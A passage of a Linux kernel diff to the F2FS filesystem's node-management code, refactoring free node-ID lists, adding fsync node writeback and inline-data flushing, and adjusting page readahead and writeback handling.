truncate_partial_nodes(struct dnode_of_data *dn, nid[i + 1] = get_nid(pages[i], offset[i + 1], false); } + ra_node_pages(pages[idx], offset[idx + 1], NIDS_PER_BLOCK); + /* free direct nodes linked to a partial indirect node */ for (i = offset[idx + 1]; i < NIDS_PER_BLOCK; i++) { child_nid = get_nid(pages[idx], i, false); @@ -750,7 +833,8 @@ static int truncate_partial_nodes(struct dnode_of_data *dn, err = truncate_dnode(dn); if (err < 0) goto fail; - set_nid(pages[idx], i, 0, false); + if (set_nid(pages[idx], i, 0, false)) + dn->node_changed = true; } if (offset[idx + 1] == 0) { @@ -787,8 +871,8 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) trace_f2fs_truncate_inode_blocks_enter(inode, from); - level = get_node_path(F2FS_I(inode), from, offset, noffset); -restart: + level = get_node_path(inode, from, offset, noffset); + page = get_node_page(sbi, inode->i_ino); if (IS_ERR(page)) { trace_f2fs_truncate_inode_blocks_exit(inode, PTR_ERR(page)); @@ -852,11 +936,8 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) if (offset[1] == 0 && ri->i_nid[offset[0] - NODE_DIR1_BLOCK]) { lock_page(page); - if (unlikely(page->mapping != NODE_MAPPING(sbi))) { - f2fs_put_page(page, 1); - goto restart; - } - f2fs_wait_on_page_writeback(page, NODE); + BUG_ON(page->mapping != NODE_MAPPING(sbi)); + f2fs_wait_on_page_writeback(page, NODE, true); ri->i_nid[offset[0] - NODE_DIR1_BLOCK] = 0; set_page_dirty(page); unlock_page(page); @@ -885,7 +966,7 @@ int truncate_xattr_node(struct inode *inode, struct page *page) if (IS_ERR(npage)) return PTR_ERR(npage); - F2FS_I(inode)->i_xattr_nid = 0; + f2fs_i_xnid_write(inode, 0); /* need to do checkpoint during fsync */ F2FS_I(inode)->xattr_ver = cur_cp_version(F2FS_CKPT(sbi)); @@ -951,10 +1032,10 @@ struct page *new_node_page(struct dnode_of_data *dn, struct page *page; int err; - if (unlikely(is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC))) + if (unlikely(is_inode_flag_set(dn->inode, FI_NO_ALLOC))) return ERR_PTR(-EPERM); - page = grab_cache_page(NODE_MAPPING(sbi), dn->nid); + page = f2fs_grab_cache_page(NODE_MAPPING(sbi), dn->nid, false); if (!page) return ERR_PTR(-ENOMEM); @@ -971,23 +1052,19 @@ struct page *new_node_page(struct dnode_of_data *dn, new_ni.ino = dn->inode->i_ino; set_node_addr(sbi, &new_ni, NEW_ADDR, false); - f2fs_wait_on_page_writeback(page, NODE); + f2fs_wait_on_page_writeback(page, NODE, true); fill_node_footer(page, dn->nid, dn->inode->i_ino, ofs, true); set_cold_node(dn->inode, page); - SetPageUptodate(page); - set_page_dirty(page); + if (!PageUptodate(page)) + SetPageUptodate(page); + if (set_page_dirty(page)) + dn->node_changed = true; if (f2fs_has_xattr_block(ofs)) - F2FS_I(dn->inode)->i_xattr_nid = dn->nid; + f2fs_i_xnid_write(dn->inode, dn->nid); - dn->node_page = page; - if (ipage) - update_inode(dn->inode, ipage); - else - sync_inode_page(dn); if (ofs == 0) inc_valid_inode_count(sbi); - return page; fail: @@ -1013,6 +1090,9 @@ static int read_node_page(struct page *page, int rw) .encrypted_page = NULL, }; + if (PageUptodate(page)) + return LOCKED_PAGE; + get_node_info(sbi, page->index, &ni); if (unlikely(ni.blk_addr == NULL_ADDR)) { @@ -1020,10 +1100,7 @@ static int read_node_page(struct page *page, int rw) return -ENOENT; } - if (PageUptodate(page)) - return LOCKED_PAGE; - - fio.blk_addr = ni.blk_addr; + fio.new_blkaddr = fio.old_blkaddr = ni.blk_addr; return f2fs_submit_page_bio(&fio); } @@ -1035,14 +1112,17 @@ void ra_node_page(struct f2fs_sb_info *sbi, nid_t nid) struct page *apage; int err; - apage = find_get_page(NODE_MAPPING(sbi), nid); - if (apage && PageUptodate(apage)) { - f2fs_put_page(apage, 0); + if (!nid) return; - } - f2fs_put_page(apage, 0); + f2fs_bug_on(sbi, check_nid_range(sbi, nid)); - apage = grab_cache_page(NODE_MAPPING(sbi), nid); + rcu_read_lock(); + apage = radix_tree_lookup(&NODE_MAPPING(sbi)->page_tree, nid); + rcu_read_unlock(); + if (apage) + return; + + apage = f2fs_grab_cache_page(NODE_MAPPING(sbi), nid, false); if (!apage) return; @@ -1050,12 +1130,17 @@ void ra_node_page(struct f2fs_sb_info *sbi, nid_t nid) f2fs_put_page(apage, err ? 1 : 0); } -struct page *get_node_page(struct f2fs_sb_info *sbi, pgoff_t nid) +static struct page *__get_node_page(struct f2fs_sb_info *sbi, pgoff_t nid, + struct page *parent, int start) { struct page *page; int err; + + if (!nid) + return ERR_PTR(-ENOENT); + f2fs_bug_on(sbi, check_nid_range(sbi, nid)); repeat: - page = grab_cache_page(NODE_MAPPING(sbi), nid); + page = f2fs_grab_cache_page(NODE_MAPPING(sbi), nid, false); if (!page) return ERR_PTR(-ENOMEM); @@ -1063,108 +1148,308 @@ struct page *get_node_page(struct f2fs_sb_info *sbi, pgoff_t nid) if (err < 0) { f2fs_put_page(page, 1); return ERR_PTR(err); - } else if (err != LOCKED_PAGE) { - lock_page(page); + } else if (err == LOCKED_PAGE) { + goto page_hit; } - if (unlikely(!PageUptodate(page) || nid != nid_of_node(page))) { - ClearPageUptodate(page); - f2fs_put_page(page, 1); - return ERR_PTR(-EIO); - } + if (parent) + ra_node_pages(parent, start + 1, MAX_RA_NODE); + + lock_page(page); + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { f2fs_put_page(page, 1); goto repeat; } + + if (unlikely(!PageUptodate(page))) + goto out_err; +page_hit: mark_page_accessed(page); + + if(unlikely(nid != nid_of_node(page))) { + f2fs_bug_on(sbi, 1); + ClearPageUptodate(page); +out_err: + f2fs_put_page(page, 1); + return ERR_PTR(-EIO); + } return page; } -/* - * Return a locked page for the desired node page. - * And, readahead MAX_RA_NODE number of node pages. - */ +struct page *get_node_page(struct f2fs_sb_info *sbi, pgoff_t nid) +{ + return __get_node_page(sbi, nid, NULL, 0); +} + struct page *get_node_page_ra(struct page *parent, int start) { struct f2fs_sb_info *sbi = F2FS_P_SB(parent); - struct blk_plug plug; + nid_t nid = get_nid(parent, start, false); + + return __get_node_page(sbi, nid, parent, start); +} + +static void flush_inline_data(struct f2fs_sb_info *sbi, nid_t ino) +{ + struct inode *inode; struct page *page; - int err, i, end; - nid_t nid; + int ret; - /* First, try getting the desired direct node. */ - nid = get_nid(parent, start, false); - if (!nid) - return ERR_PTR(-ENOENT); -repeat: - page = grab_cache_page(NODE_MAPPING(sbi), nid); + /* should flush inline_data before evict_inode */ + inode = ilookup(sbi->sb, ino); + if (!inode) + return; + + page = find_get_page(inode->i_mapping, 0); if (!page) - return ERR_PTR(-ENOMEM); + goto iput_out; - err = read_node_page(page, READ_SYNC); - if (err < 0) { - f2fs_put_page(page, 1); - return ERR_PTR(err); - } else if (err == LOCKED_PAGE) { - goto page_hit; - } + if (!trylock_page(page)) + goto release_out; - blk_start_plug(&plug); + if (!PageUptodate(page)) + goto page_out; - /* Then, try readahead for siblings of the desired node */ - end = start + MAX_RA_NODE; - end = min(end, NIDS_PER_BLOCK); - for (i = start + 1; i < end; i++) { - nid = get_nid(parent, i, false); - if (!nid) - continue; - ra_node_page(sbi, nid); - } + if (!PageDirty(page)) + goto page_out; - blk_finish_plug(&plug); + if (!clear_page_dirty_for_io(page)) + goto page_out; - lock_page(page); - if (unlikely(page->mapping != NODE_MAPPING(sbi))) { - f2fs_put_page(page, 1); - goto repeat; - } -page_hit: - if (unlikely(!PageUptodate(page))) { - f2fs_put_page(page, 1); - return ERR_PTR(-EIO); - } - mark_page_accessed(page); - return page; + ret = f2fs_write_inline_data(inode, page); + inode_dec_dirty_pages(inode); + remove_dirty_inode(inode); + if (ret) + set_page_dirty(page); +page_out: + unlock_page(page); +release_out: + f2fs_put_page(page, 0); +iput_out: + iput(inode); } -void sync_inode_page(struct dnode_of_data *dn) +void move_node_page(struct page *node_page, int gc_type) { - if (IS_INODE(dn->node_page) || dn->inode_page == dn->node_page) { - update_inode(dn->inode, dn->node_page); - } else if (dn->inode_page) { - if (!dn->inode_page_locked) - lock_page(dn->inode_page); - update_inode(dn->inode, dn->inode_page); - if (!dn->inode_page_locked) - unlock_page(dn->inode_page); + if (gc_type == FG_GC) { + struct f2fs_sb_info *sbi = F2FS_P_SB(node_page); + struct writeback_control wbc = { + .sync_mode = WB_SYNC_ALL, + .nr_to_write = 1, + .for_reclaim = 0, + }; + + set_page_dirty(node_page); + f2fs_wait_on_page_writeback(node_page, NODE, true); + + f2fs_bug_on(sbi, PageWriteback(node_page)); + if (!clear_page_dirty_for_io(node_page)) + goto out_page; + + if (NODE_MAPPING(sbi)->a_ops->writepage(node_page, &wbc)) + unlock_page(node_page); + goto release_page; } else { - update_inode_page(dn->inode); + /* set page dirty and write it */ + if (!PageWriteback(node_page)) + set_page_dirty(node_page); + } +out_page: + unlock_page(node_page); +release_page: + f2fs_put_page(node_page, 0); +} + +static struct page *last_fsync_dnode(struct f2fs_sb_info *sbi, nid_t ino) +{ + pgoff_t index, end; + struct pagevec pvec; + struct page *last_page = NULL; + + pagevec_init(&pvec, 0); + index = 0; + end = ULONG_MAX; + + while (index <= end) { + int i, nr_pages; + nr_pages = pagevec_lookup_tag(&pvec, NODE_MAPPING(sbi), &index, + PAGECACHE_TAG_DIRTY, + min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1); + if (nr_pages == 0) + break; + + for (i = 0; i < nr_pages; i++) { + struct page *page = pvec.pages[i]; + + if (unlikely(f2fs_cp_error(sbi))) { + f2fs_put_page(last_page, 0); + pagevec_release(&pvec); + return ERR_PTR(-EIO); + } + + if (!IS_DNODE(page) || !is_cold_node(page)) + continue; + if (ino_of_node(page) != ino) + continue; + + lock_page(page); + + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { +continue_unlock: + unlock_page(page); + continue; + } + if (ino_of_node(page) != ino) + goto continue_unlock; + + if (!PageDirty(page)) { + /* someone wrote it for us */ + goto continue_unlock; + } + + if (last_page) + f2fs_put_page(last_page, 0); + + get_page(page); + last_page = page; + unlock_page(page); + } + pagevec_release(&pvec); + cond_resched(); } + return last_page; } -int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, - struct writeback_control *wbc) +int fsync_node_pages(struct f2fs_sb_info *sbi, struct inode *inode, + struct writeback_control *wbc, bool atomic) { pgoff_t index, end; struct pagevec pvec; - int step = ino ? 2 : 0; - int nwritten = 0, wrote = 0; + int ret = 0; + struct page *last_page = NULL; + bool marked = false; + nid_t ino = inode->i_ino; + int nwritten = 0; + + if (atomic) { + last_page = last_fsync_dnode(sbi, ino); + if (IS_ERR_OR_NULL(last_page)) + return PTR_ERR_OR_ZERO(last_page); + } +retry: + pagevec_init(&pvec, 0); + index = 0; + end = ULONG_MAX; + + while (index <= end) { + int i, nr_pages; + nr_pages = pagevec_lookup_tag(&pvec, NODE_MAPPING(sbi), &index, + PAGECACHE_TAG_DIRTY, + min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1); + if (nr_pages == 0) + break; + + for (i = 0; i < nr_pages; i++) { + struct page *page = pvec.pages[i]; + + if (unlikely(f2fs_cp_error(sbi))) { + f2fs_put_page(last_page, 0); + pagevec_release(&pvec); + ret = -EIO; + goto out; + } + + if (!IS_DNODE(page) || !is_cold_node(page)) + continue; + if (ino_of_node(page) != ino) + continue; + + lock_page(page); + + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { +continue_unlock: + unlock_page(page); + continue; + } + if (ino_of_node(page) != ino) + goto continue_unlock; + + if (!PageDirty(page) && page != last_page) { + /* someone wrote it for us */ + goto continue_unlock; + } + + f2fs_wait_on_page_writeback(page, NODE, true); + BUG_ON(PageWriteback(page)); + + if (!atomic || page == last_page) { + set_fsync_mark(page, 1); + if (IS_INODE(page)) { + if (is_inode_flag_set(inode, + FI_DIRTY_INODE)) + update_inode(inode, page); + set_dentry_mark(page, + need_dentry_mark(sbi, ino)); + } + /* may be written by other thread */ + if (!PageDirty(page)) + set_page_dirty(page); + } + + if (!clear_page_dirty_for_io(page)) + goto continue_unlock; + + ret = NODE_MAPPING(sbi)->a_ops->writepage(page, wbc); + if (ret) { + unlock_page(page); + f2fs_put_page(last_page, 0); + break; + } else { + nwritten++; + } + + if (page == last_page) { + f2fs_put_page(page, 0); + marked = true; + break; + } + } + pagevec_release(&pvec); + cond_resched(); + + if (ret || marked) + break; + } + if (!ret && atomic && !marked) { + f2fs_msg(sbi->sb, KERN_DEBUG, + "Retry to write fsync mark: ino=%u, idx=%lx", + ino, last_page->index); + lock_page(last_page); + f2fs_wait_on_page_writeback(last_page, NODE, true); + set_page_dirty(last_page); + unlock_page(last_page); + goto retry; + } +out: + if (nwritten) + f2fs_submit_merged_bio_cond(sbi, NULL, NULL, ino, NODE, WRITE); + return ret ? -EIO: 0; +} + +int sync_node_pages(struct f2fs_sb_info *sbi, struct writeback_control *wbc) +{ + pgoff_t index, end; + struct pagevec pvec; + int step = 0; + int nwritten = 0; + int ret = 0; pagevec_init(&pvec, 0); next_step: index = 0; - end = LONG_MAX; + end = ULONG_MAX; while (index <= end) { int i, nr_pages; @@ -1177,6 +1462,12 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, for (i = 0; i < nr_pages; i++) { struct page *page = pvec.pages[i]; + if (unlikely(f2fs_cp_error(sbi))) { + pagevec_release(&pvec); + ret = -EIO; + goto out; + } + /* * flushing sequence with step: * 0. indirect nodes @@ -1191,14 +1482,8 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, if (step == 2 && (!IS_DNODE(page) || !is_cold_node(page))) continue; - - /* - * If an fsync mode, - * we should not skip writing node pages. - */ - if (ino && ino_of_node(page) == ino) - lock_page(page); - else if (!trylock_page(page)) +lock_node: + if (!trylock_page(page)) continue; if (unlikely(page->mapping != NODE_MAPPING(sbi))) { @@ -1206,33 +1491,33 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, unlock_page(page); continue; } - if (ino && ino_of_node(page) != ino) - goto continue_unlock; if (!PageDirty(page)) { /* someone wrote it for us */ goto continue_unlock; } + /* flush inline_data */ + if (is_inline_node(page)) { + clear_inline_node(page); + unlock_page(page); + flush_inline_data(sbi, ino_of_node(page)); + goto lock_node; + } + + f2fs_wait_on_page_writeback(page, NODE, true); + + BUG_ON(PageWriteback(page)); if (!clear_page_dirty_for_io(page)) goto continue_unlock; - /* called by fsync() */ - if (ino && IS_DNODE(page)) { - set_fsync_mark(page, 1); - if (IS_INODE(page)) - set_dentry_mark(page, - need_dentry_mark(sbi, ino)); - nwritten++; - } else { - set_fsync_mark(page, 0); - set_dentry_mark(page, 0); - } + set_fsync_mark(page, 0); + set_dentry_mark(page, 0); if (NODE_MAPPING(sbi)->a_ops->writepage(page, wbc)) unlock_page(page); else - wrote++; + nwritten++; if (--wbc->nr_to_write == 0) break; @@ -1250,15 +1535,15 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, step++; goto next_step; } - - if (wrote) +out: + if (nwritten) f2fs_submit_merged_bio(sbi, NODE, WRITE); - return nwritten; + return ret; } int wait_on_node_pages_writeback(struct f2fs_sb_info *sbi, nid_t ino) { - pgoff_t index = 0, end = LONG_MAX; + pgoff_t index = 0, end = ULONG_MAX; struct pagevec pvec; int ret2 = 0, ret = 0; @@ -1280,7 +1565,7 @@ int wait_on_node_pages_writeback(struct f2fs_sb_info *sbi, nid_t ino) continue; if (ino && ino_of_node(page) == ino) { - f2fs_wait_on_page_writeback(page, NODE); + f2fs_wait_on_page_writeback(page, NODE, true); if (TestClearPageError(page)) ret = -EIO; } @@ -1319,8 +1604,6 @@ static int f2fs_write_node_page(struct page *page, if (unlikely(f2fs_cp_error(sbi))) goto redirty_out; - f2fs_wait_on_page_writeback(page, NODE); - /* get old block addr of this node page */ nid = nid_of_node(page); f2fs_bug_on(sbi, page->index != nid); @@ -1344,14 +1627,18 @@ static int f2fs_write_node_page(struct page *page, } set_page_writeback(page); - fio.blk_addr = ni.blk_addr; + fio.old_blkaddr = ni.blk_addr; write_node_page(nid, &fio); - set_node_addr(sbi, &ni, fio.blk_addr, is_fsync_dnode(page)); + set_node_addr(sbi, &ni, fio.new_blkaddr, is_fsync_dnode(page)); dec_page_count(sbi, F2FS_DIRTY_NODES); up_read(&sbi->node_write); - unlock_page(page); if (wbc->for_reclaim) + f2fs_submit_merged_bio_cond(sbi, NULL, page, 0, NODE, WRITE); + + unlock_page(page); + + if (unlikely(f2fs_cp_error(sbi))) f2fs_submit_merged_bio(sbi, NODE, WRITE); return 0; @@ -1365,10 +1652,9 @@ static int f2fs_write_node_pages(struct address_space *mapping, struct writeback_control *wbc) { struct f2fs_sb_info *sbi = F2FS_M_SB(mapping); + struct blk_plug plug; long diff; - trace_f2fs_writepages(mapping->host, wbc, NODE); - /* balancing f2fs's metadata in background */ f2fs_balance_fs_bg(sbi); @@ -1376,14 +1662,19 @@ static int f2fs_write_node_pages(struct address_space *mapping, if (get_pages(sbi, F2FS_DIRTY_NODES) < nr_pages_to_skip(sbi, NODE)) goto skip_write; + trace_f2fs_writepages(mapping->host, wbc, NODE); + diff = nr_pages_to_write(sbi, NODE, wbc); wbc->sync_mode = WB_SYNC_NONE; - sync_node_pages(sbi, 0, wbc); + blk_start_plug(&plug); + sync_node_pages(sbi, wbc); + blk_finish_plug(&plug); wbc->nr_to_write = max((long)0, wbc->nr_to_write - diff); return 0; skip_write: wbc->pages_skipped += get_pages(sbi, F2FS_DIRTY_NODES); + trace_f2fs_writepages(mapping->host, wbc, NODE); return 0; } @@ -1391,9 +1682,10 @@ static int f2fs_set_node_page_dirty(struct page *page) { trace_f2fs_set_page_dirty(page, NODE); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); if (!PageDirty(page)) { - __set_page_dirty_nobuffers(page); + f2fs_set_page_dirty_nobuffers(page); inc_page_count(F2FS_P_SB(page), F2FS_DIRTY_NODES); SetPagePrivate(page); f2fs_trace_pid(page); @@ -1419,11 +1711,35 @@ static struct free_nid *__lookup_free_nid_list(struct f2fs_nm_info *nm_i, return radix_tree_lookup(&nm_i->free_nid_root, n); } -static void __del_from_free_nid_list(struct f2fs_nm_info *nm_i, - struct free_nid *i) +static int __insert_nid_to_list(struct f2fs_sb_info *sbi, + struct free_nid *i, enum nid_list list, bool new) { + struct f2fs_nm_info *nm_i = NM_I(sbi); + + if (new) { + int err = radix_tree_insert(&nm_i->free_nid_root, i->nid, i); + if (err) + return err; + } + + f2fs_bug_on(sbi, list == FREE_NID_LIST ? i->state != NID_NEW : + i->state != NID_ALLOC); + nm_i->nid_cnt[list]++; + list_add_tail(&i->list, &nm_i->nid_list[list]); + return 0; +} + +static void __remove_nid_from_list(struct f2fs_sb_info *sbi, + struct free_nid *i, enum nid_list list, bool reuse) +{ + struct f2fs_nm_info *nm_i = NM_I(sbi); + + f2fs_bug_on(sbi, list == FREE_NID_LIST ? i->state != NID_NEW : + i->state != NID_ALLOC); + nm_i->nid_cnt[list]--; list_del(&i->list); - radix_tree_delete(&nm_i->free_nid_root, i->nid); + if (!reuse) + radix_tree_delete(&nm_i->free_nid_root, i->nid); } static int add_free_nid(struct f2fs_sb_info *sbi, nid_t nid, bool build) @@ -1431,10 +1747,7 @@ static int add_free_nid(struct f2fs_sb_info *sbi, nid_t nid, bool build) struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i; struct nat_entry *ne; - bool allocated = false; - - if (!available_free_memory(sbi, FREE_NIDS)) - return -1; + int err; /* 0 nid should not be used */ if (unlikely(nid == 0)) @@ -1442,14 +1755,9 @@ static int add_free_nid(struct f2fs_sb_info *sbi, nid_t nid, bool build) if (build) { /* do not add allocated nids */ - down_read(&nm_i->nat_tree_lock); ne = __lookup_nat_cache(nm_i, nid); - if (ne && - (!get_nat_flag(ne, IS_CHECKPOINTED) || + if (ne && (!get_nat_flag(ne, IS_CHECKPOINTED) || nat_get_blkaddr(ne) != NULL_ADDR)) - allocated = true; - up_read(&nm_i->nat_tree_lock); - if (allocated) return 0; } @@ -1462,33 +1770,30 @@ static int add_free_nid(struct f2fs_sb_info *sbi, nid_t nid, bool build) return 0; } - spin_lock(&nm_i->free_nid_list_lock); - if (radix_tree_insert(&nm_i->free_nid_root, i->nid, i)) { - spin_unlock(&nm_i->free_nid_list_lock); - radix_tree_preload_end(); + spin_lock(&nm_i->nid_list_lock); + err = __insert_nid_to_list(sbi, i, FREE_NID_LIST, true); + spin_unlock(&nm_i->nid_list_lock); + radix_tree_preload_end(); + if (err) { kmem_cache_free(free_nid_slab, i); return 0; } - list_add_tail(&i->list, &nm_i->free_nid_list); - nm_i->fcnt++; - spin_unlock(&nm_i->free_nid_list_lock); - radix_tree_preload_end(); return 1; } -static void remove_free_nid(struct f2fs_nm_info *nm_i, nid_t nid) +static void remove_free_nid(struct f2fs_sb_info *sbi, nid_t nid) { + struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i; bool need_free = false; - spin_lock(&nm_i->free_nid_list_lock); + spin_lock(&nm_i->nid_list_lock); i = __lookup_free_nid_list(nm_i, nid); if (i && i->state == NID_NEW) { - __del_from_free_nid_list(nm_i, i); - nm_i->fcnt--; + __remove_nid_from_list(sbi, i, FREE_NID_LIST, false); need_free = true; } - spin_unlock(&nm_i->free_nid_list_lock); + spin_unlock(&nm_i->nid_list_lock); if (need_free) kmem_cache_free(free_nid_slab, i); @@ -1511,29 +1816,32 @@ static void scan_nat_page(struct f2fs_sb_info *sbi, blk_addr = le32_to_cpu(nat_blk->entries[i].block_addr); f2fs_bug_on(sbi, blk_addr == NEW_ADDR); - if (blk_addr == NULL_ADDR) { - if (add_free_nid(sbi, start_nid, true) < 0) - break; - } + if (blk_addr == NULL_ADDR) + add_free_nid(sbi, start_nid, true); } } -static void build_free_nids(struct f2fs_sb_info *sbi) +static void __build_free_nids(struct f2fs_sb_info *sbi, bool sync) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); - struct f2fs_summary_block *sum = curseg->sum_blk; + struct f2fs_journal *journal = curseg->journal; int i = 0; nid_t nid = nm_i->next_scan_nid; /* Enough entries */ - if (nm_i->fcnt > NAT_ENTRY_PER_BLOCK) + if (nm_i->nid_cnt[FREE_NID_LIST] >= NAT_ENTRY_PER_BLOCK) + return; + + if (!sync && !available_free_memory(sbi, FREE_NIDS)) return; /* readahead nat pages to be scanned */ ra_meta_pages(sbi, NAT_BLOCK_OFFSET(nid), FREE_NID_PAGES, META_NAT, true); + down_read(&nm_i->nat_tree_lock); + while (1) { struct page *page = get_current_nat_page(sbi, nid); @@ -1552,21 +1860,31 @@ static void build_free_nids(struct f2fs_sb_info *sbi) nm_i->next_scan_nid = nid; /* find free nids from current sum_pages */ - mutex_lock(&curseg->curseg_mutex); - for (i = 0; i < nats_in_cursum(sum); i++) { - block_t addr = le32_to_cpu(nat_in_journal(sum, i).block_addr); - nid = le32_to_cpu(nid_in_journal(sum, i)); + down_read(&curseg->journal_rwsem); + for (i = 0; i < nats_in_cursum(journal); i++) { + block_t addr; + + addr = le32_to_cpu(nat_in_journal(journal, i).block_addr); + nid = le32_to_cpu(nid_in_journal(journal, i)); if (addr == NULL_ADDR) add_free_nid(sbi, nid, true); else - remove_free_nid(nm_i, nid); + remove_free_nid(sbi, nid); } - mutex_unlock(&curseg->curseg_mutex); + up_read(&curseg->journal_rwsem); + up_read(&nm_i->nat_tree_lock); ra_meta_pages(sbi, NAT_BLOCK_OFFSET(nm_i->next_scan_nid), nm_i->ra_nid_pages, META_NAT, false); } +void build_free_nids(struct f2fs_sb_info *sbi, bool sync) +{ + mutex_lock(&NM_I(sbi)->build_lock); + __build_free_nids(sbi, sync); + mutex_unlock(&NM_I(sbi)->build_lock); +} + /* * If this function returns success, caller can obtain a new nid * from second parameter of this function. @@ -1577,40 +1895,35 @@ bool alloc_nid(struct f2fs_sb_info *sbi, nid_t *nid) struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i = NULL; retry: - if (unlikely(sbi->total_valid_node_count + 1 > nm_i->available_nids)) +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(sbi, FAULT_ALLOC_NID)) return false; +#endif + spin_lock(&nm_i->nid_list_lock); - spin_lock(&nm_i->free_nid_list_lock); + if (unlikely(nm_i->available_nids == 0)) { + spin_unlock(&nm_i->nid_list_lock); + return false; + } /* We should not use stale free nids created by build_free_nids */ - if (nm_i->fcnt && !on_build_free_nids(nm_i)) { - struct node_info ni; - - f2fs_bug_on(sbi, list_empty(&nm_i->free_nid_list)); - list_for_each_entry(i, &nm_i->free_nid_list, list) - if (i->state == NID_NEW) - break; - - f2fs_bug_on(sbi, i->state != NID_NEW); + if (nm_i->nid_cnt[FREE_NID_LIST] && !on_build_free_nids(nm_i)) { + f2fs_bug_on(sbi, list_empty(&nm_i->nid_list[FREE_NID_LIST])); + i = list_first_entry(&nm_i->nid_list[FREE_NID_LIST], + struct free_nid, list); *nid = i->nid; + + __remove_nid_from_list(sbi, i, FREE_NID_LIST, true); i->state = NID_ALLOC; - nm_i->fcnt--; - spin_unlock(&nm_i->free_nid_list_lock); - - /* check nid is allocated already */ - get_node_info(sbi, *nid, &ni); - if (ni.blk_addr != NULL_ADDR) { - alloc_nid_done(sbi, *nid); - goto retry; - } + __insert_nid_to_list(sbi, i, ALLOC_NID_LIST, false); + nm_i->available_nids--; + spin_unlock(&nm_i->nid_list_lock); return true; } - spin_unlock(&nm_i->free_nid_list_lock); + spin_unlock(&nm_i->nid_list_lock); /* Let's scan nat pages and its caches to get free nids */ - mutex_lock(&nm_i->build_lock); - build_free_nids(sbi); - mutex_unlock(&nm_i->build_lock); + build_free_nids(sbi, true); goto retry; } @@ -1622,11 +1935,11 @@ void alloc_nid_done(struct f2fs_sb_info *sbi, nid_t nid) struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i; - spin_lock(&nm_i->free_nid_list_lock); + spin_lock(&nm_i->nid_list_lock); i = __lookup_free_nid_list(nm_i, nid); - f2fs_bug_on(sbi, !i || i->state != NID_ALLOC); - __del_from_free_nid_list(nm_i, i); - spin_unlock(&nm_i->free_nid_list_lock); + f2fs_bug_on(sbi, !i); + __remove_nid_from_list(sbi, i, ALLOC_NID_LIST, false); + spin_unlock(&nm_i->nid_list_lock); kmem_cache_free(free_nid_slab, i); } @@ -1643,17 +1956,22 @@ void alloc_nid_failed(struct f2fs_sb_info *sbi, nid_t nid) if (!nid) return; - spin_lock(&nm_i->free_nid_list_lock); + spin_lock(&nm_i->nid_list_lock); i = __lookup_free_nid_list(nm_i, nid); - f2fs_bug_on(sbi, !i || i->state != NID_ALLOC); + f2fs_bug_on(sbi, !i); + if (!available_free_memory(sbi, FREE_NIDS)) { - __del_from_free_nid_list(nm_i, i); + __remove_nid_from_list(sbi, i, ALLOC_NID_LIST, false); need_free = true; } else { + __remove_nid_from_list(sbi, i, ALLOC_NID_LIST, true); i->state = NID_NEW; - nm_i->fcnt++; + __insert_nid_to_list(sbi, i, FREE_NID_LIST, false); } - spin_unlock(&nm_i->free_nid_list_lock); + + nm_i->available_nids++; + + spin_unlock(&nm_i->nid_list_lock); if (need_free) kmem_cache_free(free_nid_slab, i); @@ -1665,21 +1983,24 @@ int try_to_free_nids(struct f2fs_sb_info *sbi, int nr_shrink) struct free_nid *i, *next; int nr = nr_shrink; + if (nm_i->nid_cnt[FREE_NID_LIST] <= MAX_FREE_NIDS) + return 0; + if (!mutex_trylock(&nm_i->build_lock)) return 0; - spin_lock(&nm_i->free_nid_list_lock); - list_for_each_entry_safe(i, next, &nm_i->free_nid_list, list) { - if (nr_shrink <= 0 || nm_i->fcnt <= NAT_ENTRY_PER_BLOCK) + spin_lock(&nm_i->nid_list_lock); + list_for_each_entry_safe(i, next, &nm_i->nid_list[FREE_NID_LIST], + list) { + if (nr_shrink <= 0 || + nm_i->nid_cnt[FREE_NID_LIST] <= MAX_FREE_NIDS) break; - if (i->state == NID_ALLOC) - continue; - __del_from_free_nid_list(nm_i, i); + + __remove_nid_from_list(sbi, i, FREE_NID_LIST, false); kmem_cache_free(free_nid_slab, i); - nm_i->fcnt--; nr_shrink--; } - spin_unlock(&nm_i->free_nid_list_lock); + spin_unlock(&nm_i->nid_list_lock); mutex_unlock(&nm_i->build_lock); return nr - nr_shrink; @@ -1697,7 +2018,7 @@ void recover_inline_xattr(struct inode *inode, struct page *page) ri = F2FS_INODE(page); if (!(ri->i_inline & F2FS_INLINE_XATTR)) { - clear_inode_flag(F2FS_I(inode), FI_INLINE_XATTR); + clear_inode_flag(inode, FI_INLINE_XATTR); goto update_inode; } @@ -1705,7 +2026,7 @@ void recover_inline_xattr(struct inode *inode, struct page *page) src_addr = inline_xattr_addr(page); inline_size = inline_xattr_size(inode); - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); memcpy(dst_addr, src_addr, inline_size); update_inode: update_inode(inode, ipage); @@ -1735,17 +2056,15 @@ void recover_xattr_data(struct inode *inode, struct page *page, block_t blkaddr) if (unlikely(!inc_valid_node_count(sbi, inode))) f2fs_bug_on(sbi, 1); - remove_free_nid(NM_I(sbi), new_xnid); + remove_free_nid(sbi, new_xnid); get_node_info(sbi, new_xnid, &ni); ni.ino = inode->i_ino; set_node_addr(sbi, &ni, NEW_ADDR, false); - F2FS_I(inode)->i_xattr_nid = new_xnid; + f2fs_i_xnid_write(inode, new_xnid); /* 3: update xattr blkaddr */ refresh_sit_entry(sbi, NEW_ADDR, blkaddr); set_node_addr(sbi, &ni, blkaddr, false); - 